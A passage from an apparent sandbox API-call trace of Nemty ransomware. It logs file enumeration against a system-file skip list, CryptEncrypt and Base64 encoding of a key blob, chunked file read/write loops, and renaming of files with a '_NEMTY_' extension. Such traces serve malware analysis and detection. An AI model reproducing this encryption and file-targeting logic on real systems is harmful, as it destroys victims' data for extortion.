hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.206] CloseHandle (hObject=0xffffffff) returned 0 [0133.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340328 [0133.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0133.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340478 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png._nemty_kgobjgd_")) returned 0 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0133.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0133.207] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2=".") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="..") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="...") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="windows") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="$RECYCLE.BIN") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="rsa") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="NTDETECT.COM") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="ntldr") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="MSDOS.SYS") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="IO.SYS") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="boot.ini") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="boot.ini") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="AUTOEXEC.BAT") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="ntuser.dat") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="desktop.ini") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="CONFIG.SYS") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="RECYCLER") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="BOOTSECT.BAK") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="bootmgr") returned 1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="programdata") returned -1 [0133.207] lstrcmpiW (lpString1="main_background.png", lpString2="appdata") returned 1 [0133.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0133.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main_background.png", lpUsedDefaultChar=0x0) returned 19 [0133.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0133.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main_background.png", lpUsedDefaultChar=0x0) returned 19 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main_background.png", lpUsedDefaultChar=0x0) returned 19 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0133.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main_background.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main_background.png", lpUsedDefaultChar=0x0) returned 19 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0133.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0133.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0133.208] Sleep (dwMilliseconds=0x5) [0133.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30da330, dwHighDateTime=0x1d561e8)) [0133.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30da330, dwHighDateTime=0x1d561e8)) [0133.222] GetLastError () returned 0x5 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.222] GetLastError () returned 0x5 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0133.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0133.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0133.222] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0133.222] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="CxRTMsJZsFh0h8giZYqVmvBdYN71XL4TqW3Ycb3bbs8oNhSPbeTDD7YTTykZTkSV\r\noQX1b8Bjq9rjIT1bt6Yn5loS/uSK47db4iAJg4zoyDo8F1mCmeRBwUI1yX2/UTR0\r\nFXYTc55F1KCfCQQ9bhb+2S74f/w2CGbCPNdzyW8RdEakoK8lttby17IE4QFgAytK\r\nOWZihnp9prZX4aZB6slSQJvHkD3OvY1HLr+3xMZVJNOqe3r9G00jXIWDKb/Cbv1K\r\nQvsFsX0Jxn+AV8K+ZUTBTK6n9OcXLai0poddwSUKebNPVBHcTxU59ZLBhrjRN81a\r\nbVXHjTPCsjajDr4RH+hhbQ==\r\n", pcchString=0x653e91c) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0133.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0133.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.222] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.223] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0133.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 